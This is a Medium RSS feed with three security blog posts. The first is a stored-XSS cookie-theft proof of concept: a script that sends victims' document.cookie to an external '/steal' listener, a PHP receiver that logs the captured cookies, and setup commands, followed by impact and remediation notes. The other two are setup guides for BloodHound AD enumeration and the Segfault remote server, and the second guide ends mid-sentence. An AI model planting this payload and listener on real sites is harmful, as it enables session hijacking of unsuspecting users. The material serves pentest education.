<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Muhammad Jubair Hossain on Medium]]></title>
        <description><![CDATA[Stories by Muhammad Jubair Hossain on Medium]]></description>
        <link>https://medium.com/@muhammadjubairsec?source=rss-ca7aeeb832b1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*nIQis4ugKXcCegGDCRDLbg.png</url>
            <title>Stories by Muhammad Jubair Hossain on Medium</title>
            <link>https://medium.com/@muhammadjubairsec?source=rss-ca7aeeb832b1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 04:57:32 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@muhammadjubairsec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Stored Cross-Site Scripting (XSS) Cookie Theft PoC]]></title>
            <link>https://medium.com/@muhammadjubairsec/stored-cross-site-scripting-xss-cookie-theft-poc-ca201d7f7e11?source=rss-ca7aeeb832b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca201d7f7e11</guid>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[web-penetration-testing]]></category>
            <category><![CDATA[stored-xss]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Muhammad Jubair Hossain]]></dc:creator>
            <pubDate>Fri, 25 Sep 2026 06:18:37 GMT</pubDate>
            <atom:updated>2026-09-25T06:18:37.412Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0QxIUBtMFgPOdKFgsPiWOg.jpeg" /></figure><p>This repository contains a proof-of-concept (PoC) demonstrating how a <strong>Stored Cross-Site Scripting (XSS)</strong> vulnerability can be leveraged to hijack user sessions by stealing active HTTP cookies.</p><p><strong>Technical Overview</strong></p><p>The demonstration uses a malicious JavaScript payload injected into a vulnerable application input (e.g., a review or comment section) that persistently stores user input. When other users view the compromised page, their browser executes the script, transmitting their session cookies to an external listener managed by the tester.</p><pre>[Victim Browser]<br>       │<br>       │ 1. Loads compromised page &amp; executes XSS<br>       ▼<br>[Malicious Image Request] ────(Sends document.cookie)────► [PHP Listener] ──► [kim_loot.log]</pre><p><strong>Deployment &amp; Setup</strong></p><p><strong>1. The XSS Payload</strong></p><p>Inject the following script into the vulnerable input field of the target application. It creates an invisible &lt;img&gt; element in the DOM to send a background HTTP GET request containing the victim&#39;s session cookies.</p><p><strong>html</strong></p><pre>&lt;script&gt;<br>  new Image().src =&quot;&lt;http://jubair:9000/steal?c=&gt;&quot; + encodeURIComponent(document.cookie);<br>&lt;/script&gt;</pre><p><strong>2. The Data Receiver (</strong><strong>jubair_server.php)</strong></p><p>Save this backend script locally. It listens for inbound requests on the /steal endpoint, logs the data to a local text file, and returns a valid 1x1 transparent GIF to prevent visual disruption on the client side.</p><p><strong>php</strong></p><pre>&lt;?php<br>// jubair_server.php</pre><pre>$path = parse_url(https://medium.com/$_SERVER[&#39;REQUEST_URI&#39;],%20PHP_URL_PATH);</pre><pre>if ($path === &#39;/steal&#39;) {<br>    $cookie = isset($_GET[&#39;c&#39;]) ? $_GET[&#39;c&#39;] : &#39;No cookie data&#39;;</pre><pre>    $timestamp = date(&#39;Y-m-d H:i:s&#39;);<br>    $logEntry = &quot;[{$timestamp}] Captured Cookie: {$cookie}\n&quot;;</pre><pre>    file_put_contents(&#39;kim_loot.log&#39;, $logEntry, FILE_APPEND);</pre><pre>    header(&#39;Content-Type: image/gif&#39;);<br>    header(&#39;Cache-Control: no-cache, no-store, must-revalidate&#39;);<br>    echo base64_decode(&#39;R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7&#39;);<br>    exit;<br>}</pre><pre>http_response_code(404);</pre><p><strong>3. Running the Listener Environment</strong></p><p>Open two terminal windows/tabs in the directory containing jubair_server.php.</p><p><strong>Terminal Tab 1: Start the Web Server</strong></p><p>Launch the built-in PHP development server to handle incoming connections:</p><p><strong>bash</strong></p><pre>php -S0.0.0.0:9000 jubair_server.php</pre><p><strong>Terminal Tab 2: Initialize and Monitor Logs</strong></p><p>Create the log file and stream updates in real-time to observe captured data instantly:</p><p><strong>bash</strong></p><pre>touch jubair_loot.log<br>ls<br>tail -f jubair_loot.log</pre><p><strong>Real Impact Assessment</strong></p><ul><li><strong>Session Hijacking:</strong> Attackers who capture valid session identifiers can clone them into their own browser context, completely bypassing authentication mechanisms (including username/password prompts) to impersonate the victim.</li><li><strong>Privilege Escalation:</strong> If an administrative user views the stored payload, their elevated session cookie can be stolen, granting the attacker full control over the application backend.</li><li><strong>Zero User Interaction:</strong> Unlike Reflected XSS, Stored XSS requires no phishing or social engineering. The exploit automatically targets any user who naturally browses to the affected webpage.</li></ul><p><strong>Remediation Strategies</strong></p><p>To mitigate this attack vector, implement the following defensive controls:</p><ol><li><strong>HttpOnly Flag:</strong> Configure all sensitive session cookies with the HttpOnly flag. This explicitly prevents client-side scripts from reading document.cookie.</li><li><strong>Context-Aware Output Encoding:</strong> Ensure all user-supplied data is appropriately encoded (e.g., converting &lt; to &amp;lt;) before it is rendered in the HTML DOM.</li><li><strong>Content Security Policy (CSP):</strong> Restrict outbound connections using a strong CSP header to block scripts from transmitting data to unrecognized external domains:</li></ol><p><strong>http</strong></p><pre>Content-Security-Policy: default-src &#39;self&#39;; img-src &#39;self&#39; &lt;https://trusted-cdn.com&gt;;</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca201d7f7e11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[BloodHound Community Edition Enumeration on Kali Linux Using Docker]]></title>
            <link>https://medium.com/@muhammadjubairsec/bloodhound-community-edition-enumeration-on-kali-linux-using-docker-df5c68e74927?source=rss-ca7aeeb832b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/df5c68e74927</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[enumeration]]></category>
            <category><![CDATA[bloodhound]]></category>
            <category><![CDATA[internal-pentesting]]></category>
            <dc:creator><![CDATA[Muhammad Jubair Hossain]]></dc:creator>
            <pubDate>Sat, 15 Aug 2026 11:04:00 GMT</pubDate>
            <atom:updated>2026-08-15T11:04:00.500Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p><strong>BloodHound Community Edition (CE)</strong> is a powerful platform for visualizing and analyzing Active Directory relationships. It helps security professionals understand attack paths, privilege relationships, group memberships, and other AD structures during authorized security assessments.</p><p>In this guide, I’ll walk through my setup of <strong>BloodHound CE on Kali Linux using Docker</strong>, including container management, accessing the web interface, basic data ingestion, and troubleshooting a common Neo4j port conflict.</p><blockquote><strong><em>Lab use only:</em></strong><em> Perform Active Directory enumeration only on systems and environments where you have explicit authorization.</em></blockquote><h3>Why Docker?</h3><p>Running BloodHound CE through Docker makes the deployment process much cleaner because the required services are containerized.</p><p>One of the main advantages is avoiding conflicts with an existing local Neo4j installation. This is particularly useful on Kali Linux, where Neo4j may already be installed from previous BloodHound setups.</p><h3>Prerequisites</h3><p>First, update the package repository and install Docker and Docker Compose:</p><pre>sudo apt update &amp;&amp; sudo apt install -y docker.io docker-compose</pre><p>Then move to your home directory:</p><pre>cd ~</pre><p>Make sure Docker is installed correctly:</p><pre>sudo docker --version<br>sudo docker compose version</pre><h3>Step 1: Download the BloodHound CE Docker Compose File</h3><p>Download the official BloodHound CE Docker Compose configuration:</p><pre>curl -L https://ghst.ly/getbhce &gt; docker-compose.yml</pre><p>This creates a docker-compose.yml file in the current directory.</p><p>You can verify that the file exists with:</p><pre>ls -l docker-compose.yml</pre><h3>Step 2: Pull and Start the Containers</h3><p>Pull the required container images and start BloodHound CE:</p><pre>sudo docker compose pull &amp;&amp; sudo docker compose up -d</pre><p>The -d option starts the containers in <strong>detached mode</strong>, allowing them to run in the background.</p><p>Check the running containers:</p><pre>sudo docker compose ps</pre><p>If everything is running correctly, the BloodHound services should show an active/running status.</p><h3>Step 3: Access the BloodHound Web Interface</h3><p>Once the containers are running, open:</p><pre>http://localhost:8080/ui/</pre><p>The login credentials depend on the credentials generated/configured during the BloodHound CE initialization process.</p><p>For security reasons, avoid publishing default or lab credentials in documentation intended for public use.</p><h3>Neo4j Browser</h3><p>Depending on the deployment configuration, the Neo4j browser may also be available at:</p><pre>http://localhost:7474</pre><p>Neo4j is part of the underlying data infrastructure used by BloodHound. In a Docker-based deployment, its configuration and credentials should be taken from the current BloodHound CE deployment rather than assumed from an older installation.</p><blockquote><strong><em>Note:</em></strong><em> In my lab setup, the Neo4j password was manually configured during setup.</em></blockquote><h3>Basic BloodHound Workflow</h3><p>After BloodHound CE is running, the general workflow is:</p><p><strong>Authorized AD environment → Data Collection → Data Upload → BloodHound Analysis → Attack Path Identification</strong></p><h3>Data Collection</h3><p>For authorized environments, data can be collected using tools such as:</p><ul><li><strong>SharpHound</strong></li><li><strong>BloodHound.py</strong></li></ul><p>The resulting JSON/ZIP data can then be uploaded through the <strong>Upload Data</strong> section of the BloodHound interface.</p><p>The goal is to transform raw Active Directory relationship data into a graph that can be analyzed for security weaknesses and privilege relationships.</p><h3>Viewing Docker Logs</h3><p>If BloodHound does not start correctly or a service appears unhealthy, check the container logs:</p><pre>sudo docker compose logs -f</pre><p>For a specific service, you can inspect its logs using Docker Compose service commands.</p><p>Logs are often the fastest way to identify issues involving ports, databases, credentials, or container startup failures.</p><h3>Stopping and Restarting BloodHound</h3><p>To stop the deployment:</p><pre>sudo docker compose down</pre><p>To start it again:</p><pre>sudo docker compose up -d</pre><p>You can check the current status with:</p><pre>sudo docker compose ps</pre><h3>Troubleshooting: Port 7474 Conflict</h3><p>One of the issues I encountered during BloodHound setup was a <strong>port 7474 conflict</strong>.</p><p>Port 7474 is commonly associated with the Neo4j HTTP interface. If another Neo4j installation or service is already using this port, the BloodHound Docker deployment may fail to bind it.</p><h3>Check Which Process Is Using Port 7474</h3><p>First:</p><pre>sudo ss -tuln | grep 7474</pre><p>You can also identify the associated process:</p><pre>sudo lsof -i :7474</pre><p>If an existing local Neo4j service is running, you may see it occupying the port.</p><h3>Stop the Existing Neo4j Service</h3><p>If the local Neo4j installation is not required for your lab, stop it:</p><pre>sudo systemctl stop neo4j</pre><p>To prevent it from automatically starting:</p><pre>sudo systemctl disable neo4j</pre><p>Then verify the port again:</p><pre>sudo ss -tuln | grep 7474</pre><p>If nothing is returned, the port is no longer being listened to by that service.</p><h3>If a Process Still Exists</h3><p>If a process is still occupying the port, identify its PID:</p><pre>sudo lsof -i :7474</pre><p>Then terminate the process carefully:</p><pre>sudo kill &lt;PID&gt;</pre><p>If the process does not terminate normally, a forceful termination can be used as a last resort:</p><pre>sudo kill -9 &lt;PID&gt;</pre><p>Then verify:</p><pre>sudo ss -tuln | grep 7474</pre><blockquote><strong><em>Important:</em></strong><em> Always identify the process before terminating it. Do not blindly kill processes on a production or shared system.</em></blockquote><h3>My Key Takeaways</h3><p>Setting up BloodHound CE with Docker provided a much cleaner deployment experience compared with maintaining every component manually.</p><p>The main lessons from this setup were:</p><ol><li><strong>Docker simplifies BloodHound CE deployment</strong> by keeping its services isolated from the host system.</li><li><strong>Neo4j port conflicts are common</strong> when an older/local Neo4j installation is already running.</li><li><strong>Checking ports before troubleshooting saves time.</strong> ss and lsof quickly reveal which process is responsible.</li><li><strong>Docker Compose logs are essential</strong> when diagnosing container startup problems.</li><li><strong>BloodHound becomes most useful after proper AD data collection</strong>, allowing security professionals to visualize relationships and identify potential attack paths.</li><li><strong>Enumeration should always be performed within an authorized security assessment or lab environment.</strong></li></ol><h3>Final Thoughts</h3><p>BloodHound is more than a visualization tool. It helps security professionals understand how seemingly harmless Active Directory relationships can combine into significant privilege and attack-path risks.</p><p>Running <strong>BloodHound CE through Docker on Kali Linux</strong> is a practical approach for building an AD security testing lab while keeping the deployment relatively isolated and manageable.</p><p>For anyone learning Active Directory security, understanding the workflow from <strong>enumeration → data collection → ingestion → graph analysis</strong> is an important foundation for both offensive security testing and defensive AD hardening.</p><p><strong>Next step:</strong> Build an isolated Active Directory lab, collect authorized telemetry, and use BloodHound to understand how privilege relationships and misconfigurations can create attack paths.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=df5c68e74927" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Segfault VPS ( The Hacker’s Choice) Installation and Usage Guide]]></title>
            <link>https://medium.com/@muhammadjubairsec/segfault-installation-and-usage-guide-1d5fa11c0d6b?source=rss-ca7aeeb832b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d5fa11c0d6b</guid>
            <category><![CDATA[free-vps]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[vps]]></category>
            <dc:creator><![CDATA[Muhammad Jubair Hossain]]></dc:creator>
            <pubDate>Wed, 12 Aug 2026 04:10:24 GMT</pubDate>
            <atom:updated>2026-08-12T04:11:42.513Z</atom:updated>
            <content:encoded><![CDATA[<p>I checked the current official Segfault documentation and repository. One important clarification: <strong>Segfault is not primarily a tool that you install on Kali Linux</strong>. It is a service from <strong>The Hacker’s Choice (THC)</strong> that provides disposable, isolated Linux root servers for security research and related work. The project also provides the code needed to deploy your own Segfault Server Centre. The current public repository lists <strong>v0.5.8 as its latest release (June 11, 2025)</strong>. (<a href="https://github.com/hackerschoice/segfault?utm_source=chatgpt.com">GitHub</a>)</p><h3>Segfault Installation and Usage Guide</h3><h3>1. Introduction</h3><p>Segfault is a service operated by The Hacker’s Choice (THC) that provides temporary, isolated Linux root servers. It is particularly useful for security researchers, penetration testers, developers, and people who need a disposable environment for testing tools and conducting authorized security research.</p><p>Instead of installing and configuring a large number of security tools on your own computer, you can connect to a Segfault root server through SSH and work inside a remote environment. The service provides a large collection of pre-installed tools and routes outbound traffic through VPN exit infrastructure. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><p>A key concept is that every server is associated with a unique <strong>SECRET</strong>. The SECRET allows you to reconnect to the same server and regain access to its persistent data. If you connect again without the same SECRET, Segfault creates a new server instead. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><p>Segfault is therefore useful for:</p><ul><li>Security research</li><li>Penetration-testing labs</li><li>Tool testing</li><li>Malware-analysis research in controlled environments</li><li>CTF environments</li><li>Remote Linux administration</li><li>Testing scripts and proof-of-concept code</li><li>Running security tools without installing everything locally</li></ul><p>Segfault should not be treated as an anonymous or unrestricted Internet scanning service. THC explicitly discourages illegal activity, cryptocurrency mining, warez, bots, and abusive scanning. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>2. Requirements</h3><p>For normal usage, you do not need to install Segfault itself.</p><p>You need:</p><ul><li>An Internet connection</li><li>An SSH client</li><li>A terminal</li><li>Basic Linux command-line knowledge</li></ul><h3>Linux</h3><p>Most modern Linux distributions already include OpenSSH.</p><p>Check:</p><pre>ssh -V</pre><p>If OpenSSH is not installed on Debian/Ubuntu/Kali:</p><pre>sudo apt update<br>sudo apt install openssh-client</pre><h3>Windows</h3><p>Windows 10/11 normally includes OpenSSH Client.</p><p>Check from PowerShell:</p><pre>ssh -V</pre><p>You can also use applications such as PuTTY or WinSCP. THC provides dedicated instructions for these clients. (<a href="https://www.thc.org/segfault/faq/winscp/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>macOS</h3><p>Open Terminal and verify:</p><pre>ssh -V</pre><p>No additional Segfault software is normally required.</p><h3>3. Connecting to Segfault</h3><p>The simplest way to start a server is:</p><pre>ssh root@segfault.net</pre><p>The current official documentation specifies the password as:</p><pre>segfault</pre><p>The initial connection creates a root server for your session. (<a href="https://github.com/hackerschoice/segfault?utm_source=chatgpt.com">GitHub</a>)</p><p>After connecting, the login information will display important information about your server, including its hostname and SECRET.</p><p>Do not lose the SECRET.</p><h3>4. Understanding the SECRET</h3><p>The SECRET is one of the most important parts of Segfault.</p><p>When you log out, Segfault provides a command similar to:</p><pre>ssh -o &quot;SetEnv SECRET=YOUR_SECRET&quot; root@YOUR_SERVER.segfault.net</pre><p>The exact hostname and SECRET will be different for your server.</p><p>Use the exact command provided by Segfault when reconnecting.</p><p>For example:</p><pre>ssh -o &quot;SetEnv SECRET=ABC123...&quot; root@xxxx.segfault.net</pre><p>The password remains:</p><pre>segfault</pre><p>The SECRET identifies your existing server.</p><p>If you instead run:</p><pre>ssh root@segfault.net</pre><p>again, Segfault may create a completely new server, and you will not see the previous server’s environment. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><p>This is the most common mistake new users make.</p><h3>5. Persistent and Temporary Data</h3><p>Segfault separates persistent data from temporary system data.</p><p>According to the official FAQ, data in locations such as:</p><pre>/home<br>/sec<br>/onion<br>/everyone</pre><p>is persistent, while much of the normal system filesystem, including areas such as:</p><pre>/usr<br>/tmp</pre><p>is temporary and may disappear when the server session ends. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><p>For example:</p><pre>cd /sec<br>mkdir projects<br>cd projects</pre><p>A good practice is to keep your scripts, notes, source code, PoCs, configuration backups, and other important work inside the persistent storage area.</p><p>You should not assume that software installed with:</p><pre>apt install</pre><p>will remain available after the server is destroyed or restarted into a fresh environment. The official FAQ specifically notes that packages installed normally can be temporary, while software can alternatively be installed under /sec/usr. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>6. Verify the Environment</h3><p>After logging in, start by checking the basic environment:</p><pre>whoami</pre><p>Expected:</p><pre>root</pre><p>Check the hostname:</p><pre>hostname</pre><p>Check the Segfault environment:</p><pre>echo &quot;$SF_HOSTNAME&quot;<br>echo &quot;$SF_LID&quot;<br>echo &quot;$SF_FQDN&quot;</pre><p>Check resource restrictions:</p><pre>cat /config/self/limits</pre><p>Check the operating system:</p><pre>cat /etc/os-release</pre><p>Check the kernel:</p><pre>uname -a</pre><p>Check available storage:</p><pre>df -h</pre><p>Check memory:</p><pre>free -h</pre><p>These commands give you a quick overview of the environment before beginning your work.</p><h3>7. Understanding the Segfault Environment</h3><p>A Segfault root server is different from a conventional VPS.</p><p>You should not expect to have:</p><pre>systemctl</pre><p>available for managing services.</p><p>The official FAQ states that Segfault does not use systemd/systemctl for this purpose. Instead, /sec/usr/etc/rc.local can be used for services or daemons that need to start when the environment boots. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><p>For example:</p><pre>cat /sec/usr/etc/rc.local</pre><p>This is important when adapting normal Linux administration procedures to Segfault.</p><h3>8. Using Security Tools</h3><p>Segfault provides a large pre-installed collection of security tools. The official FAQ currently states that the environment contains approximately <strong>54 GB of pre-installed tools</strong>. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><p>You can check whether a tool exists with:</p><pre>which nmap</pre><p>or:</p><pre>command -v nmap</pre><p>For example:</p><pre>which nmap<br>which curl<br>which python<br>which git</pre><p>Check versions:</p><pre>nmap --version<br>python --version<br>git --version</pre><p>This is useful because you should first determine whether a tool is already available before installing another copy.</p><h3>9. Authorized Penetration-Testing Workflow</h3><p>A sensible workflow is:</p><pre>Scope<br>  |<br>  v<br>Reconnaissance<br>  |<br>  v<br>Enumeration<br>  |<br>  v<br>Vulnerability Assessment<br>  |<br>  v<br>Controlled Testing<br>  |<br>  v<br>Evidence Collection<br>  |<br>  v<br>Reporting</pre><p>For example, in a lab environment:</p><pre>nmap -sV TARGET_IP</pre><p>This performs service/version detection against the target.</p><p>Only perform this against systems you own or systems for which you have explicit authorization.</p><p>For web applications, you might use:</p><pre>Burp Suite<br>Nmap<br>ffuf<br>curl<br>WhatWeb<br>Nikto</pre><p>depending on the scope and requirements of the engagement.</p><h3>10. Using Segfault With TryHackMe or Hack The Box</h3><p>Segfault can be useful as a remote environment when working on authorized training platforms.</p><p>For example, after connecting:</p><pre>nmap -sV TARGET_IP</pre><p>You can then perform enumeration and use the tools available in the environment.</p><p>For a web application:</p><pre>curl -I http://TARGET_IP</pre><p>For directory enumeration, use an appropriate tool already available in the environment.</p><p>The important point is to follow the rules of the particular platform and remain within the permitted targets and techniques.</p><h3>11. File Transfer</h3><p>Segfault supports file transfer through SSH-based tools.</p><p>For example:</p><pre>scp -o &quot;SetEnv SECRET=YOUR_SECRET&quot; \<br>root@YOUR_SERVER.segfault.net:/sec/file.txt .</pre><p>You can also use the shorter server-name approach described in the official documentation once your SSH configuration is established. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><p>For Windows users, WinSCP can be configured using the Segfault-specific SSH configuration. THC provides an official WinSCP guide. (<a href="https://www.thc.org/segfault/faq/winscp/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>12. GUI and VNC</h3><p>Segfault also supports graphical applications.</p><p>The official GUI documentation provides two approaches.</p><p>First, establish SSH port forwarding:</p><pre>ssh -L5900:0:5900 root@segfault.net</pre><p>Then inside the Segfault server:</p><pre>startxvnc</pre><p>Connect your VNC client to:</p><pre>127.0.0.1:5900</pre><p>The official documentation also describes TigerVNC:</p><pre>vncserver -SecurityTypes None :0</pre><p>and browser-based file access:</p><pre>startfb</pre><p>followed by:</p><pre>http://127.0.0.1:2900</pre><p>These services should be accessed through the SSH tunnel rather than exposing them directly to the Internet. (<a href="https://www.thc.org/segfault/gui/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>13. Web-Based Desktop</h3><p>Another option is:</p><p><a href="https://shell.segfault.net/?utm_source=chatgpt.com">Segfault Web Shell</a></p><p>The official GUI workflow is:</p><ol><li>Open the web shell.</li><li>Select “I’m New Here”.</li><li>Save the SECRET.</li><li>Open the Desktop section.</li><li>Start the graphical environment.</li></ol><p>The SECRET is required when returning to the existing server. (<a href="https://www.thc.org/segfault/gui/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>14. VPN and Exit Nodes</h3><p>Segfault routes outbound traffic through VPN infrastructure and supports custom exit-node configurations.</p><p>The official documentation distinguishes between:</p><ul><li>Server mode</li><li>Client mode</li></ul><p>A WireGuard interface called wgExit can be created when an exit-node configuration is active. (<a href="https://www.thc.org/segfault/wireguard/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><p>This can be useful when you have a legitimate reason to route research traffic through infrastructure you control.</p><p>However, Segfault specifically discourages uncontrolled mass scanning. Its FAQ states that scanning is discouraged and that unrestricted mass scanning should use your own exit node. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>15. Resource Limits</h3><p>You can check your current restrictions with:</p><pre>cat /config/self/limits</pre><p>Segfault provides a token system for users who need additional resources.</p><p>According to THC, tokens can provide additional:</p><ul><li>Bandwidth</li><li>Processing power</li><li>Storage</li><li>Resource availability</li></ul><p>Tokens are not sold; THC describes them as being granted for worthwhile projects, community participation, security research, and similar activities. (<a href="https://www.thc.org/segfault/token/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>16. Troubleshooting</h3><h3>Problem: Files disappeared</h3><p>Most likely you connected without your previous SECRET.</p><p>Check that you are using:</p><pre>ssh -o &quot;SetEnv SECRET=YOUR_SECRET&quot; root@YOUR_SERVER.segfault.net</pre><p>rather than:</p><pre>ssh root@segfault.net</pre><p>The official FAQ identifies this as the primary cause of apparently missing files. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>Problem: SSH reports Bad configuration option: setenv</h3><p>Check your SSH version:</p><pre>ssh -V</pre><p>The official FAQ recommends updating the OpenSSH client. It also provides alternative SECRET-based connection methods for older clients. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>Problem: Processes disappear</h3><p>Check whether they were running in a persistent session such as tmux or screen.</p><p>Also remember that Segfault can shut down inactive servers under its normal resource policies. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>Problem: Services do not start with systemctl</h3><p>Segfault does not use the normal systemd/systemctl model.</p><p>Check:</p><pre>ls -la /sec/usr/etc/rc.local</pre><p>The official documentation recommends using that mechanism for services that need to start at boot. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>Problem: Insufficient resources</h3><p>Check:</p><pre>cat /config/self/limits</pre><p>If the workload requires more resources, consult the official token process. (<a href="https://www.thc.org/segfault/token/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>17. Destroying the Server</h3><p>When you type:</p><pre>halt</pre><p>the server shuts down,n and its temporary system state is destroyed.</p><p>The official documentation states that private persistent data can be restored when you reconnect using the same SECRET. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><p>If you intentionally want to wipe your stored data, the official FAQ provides:</p><pre>destruct</pre><p>This should be treated as an irreversible cleanup operation.</p><h3>18. Useful Command Reference</h3><h3>Connect</h3><pre>ssh root@segfault.net</pre><h3>Reconnect</h3><pre>ssh -o &quot;SetEnv SECRET=YOUR_SECRET&quot; root@YOUR_SERVER.segfault.net</pre><h3>Identify server</h3><pre>echo &quot;$SF_HOSTNAME $SF_LID $SF_FQDN&quot;</pre><h3>Check restrictions</h3><pre>cat /config/self/limits</pre><h3>Check user</h3><pre>whoami</pre><h3>Check operating system</h3><pre>cat /etc/os-release</pre><h3>Check kernel</h3><pre>uname -a</pre><h3>Check storage</h3><pre>df -h</pre><h3>Check memory</h3><pre>free -h</pre><h3>Start VNC</h3><pre>startxvnc</pre><h3>Start file browser</h3><pre>startfb</pre><h3>Check a tool</h3><pre>which TOOL_NAME</pre><h3>Transfer a file</h3><pre>scp -o &quot;SetEnv SECRET=YOUR_SECRET&quot; \<br>root@YOUR_SERVER.segfault.net:/sec/file.txt .</pre><h3>Destroy server data</h3><pre>destruct</pre><h3>19. Deploying Your Own Segfault Server Centre</h3><p>There is a second meaning of “Segfault installation”: running your own <strong>Segfault Server Centre (SSC)</strong>.</p><p>The official GitHub repository provides the deployment procedure. (<a href="https://github.com/hackerschoice/segfault?utm_source=chatgpt.com">GitHub</a>)</p><p>Clone the repository:</p><pre>git clone --depth 1 https://github.com/hackerschoice/segfault.git</pre><p>Enter the directory:</p><pre>cd segfault</pre><p>Generate an SF_SEED:</p><pre>export SF_SEED=&quot;$(head -c 1024 /dev/urandom | tr -dc &#39;[:alpha:]&#39; | head -c 32)&quot;</pre><p>Display it:</p><pre>echo &quot;SF_SEED=${SF_SEED}&quot;</pre><p>Build the Server Centre:</p><pre>make</pre><p>Start it with:</p><pre>SF_BASEDIR=&quot;$(pwd)&quot; SF_SSH_PORT=2222 sfbin/sf up</pre><p>The repository also provides:</p><pre>provision/env.example</pre><p>as an example environment configuration.</p><p>Server-wide limits are configured in:</p><pre>config/etc/sf/sf.conf</pre><p>Per-server limits can be configured under:</p><pre>config/db/db-&lt;LID&gt;/limits.conf</pre><p>These instructions are intended for administrators who want to operate their own Segfault infrastructure rather than ordinary users who simply want a remote root shell. (<a href="https://github.com/hackerschoice/segfault?utm_source=chatgpt.com">GitHub</a>)</p><h3>20. Best Practices</h3><p>For cybersecurity work, treat Segfault like any other remote testing environment.</p><p>Keep important work inside persistent storage:</p><pre>/sec</pre><p>Keep a backup of important files outside the server.</p><p>Always save your SECRET securely.</p><p>Before testing a target, verify that you have authorization.</p><p>For penetration testing, maintain a clear scope containing:</p><pre>Target<br>IP/domain<br>Allowed ports<br>Allowed techniques<br>Testing window<br>Excluded systems<br>Reporting requirements</pre><p>Avoid unrestricted Internet scanning.</p><p>Do not use Segfault for:</p><ul><li>Unauthorized penetration testing</li><li>Cryptocurrency mining</li><li>Botnets</li><li>Warez</li><li>Abuse</li><li>Unrestricted mass scanning</li><li>Attempts to evade legitimate investigation or attribution</li></ul><p>These restrictions are explicitly reflected in THC’s own policies. (<a href="https://www.thc.org/segfault/faq/?utm_source=chatgpt.com">The Hacker’s Choice</a>)</p><h3>21. Recommended Learning Path</h3><h3>Beginner</h3><p>Start with:</p><pre>SSH<br>Linux filesystem<br>Linux permissions<br>Bash<br>tmux<br>Git<br>Networking basics</pre><p>Then learn how Segfault handles:</p><pre>SECRET<br>Persistent storage<br>Temporary filesystem<br>Resource limits<br>SSH forwarding</pre><h3>Intermediate</h3><p>Practice:</p><pre>Nmap<br>Curl<br>Burp Suite<br>Web enumeration<br>Network enumeration<br>Python scripting<br>File transfer<br>SSH tunneling</pre><p>Use TryHackMe, Hack The Box, or your own lab.</p><h3>Advanced</h3><p>Move toward:</p><pre>Automation<br>Custom scripts<br>Remote workflows<br>WireGuard<br>Exit nodes<br>Network tunneling<br>Security research<br>Exploit development<br>Tool development</pre><p>At this stage, Segfault becomes less about simply having a remote Linux shell and more about building a controlled research environment around your 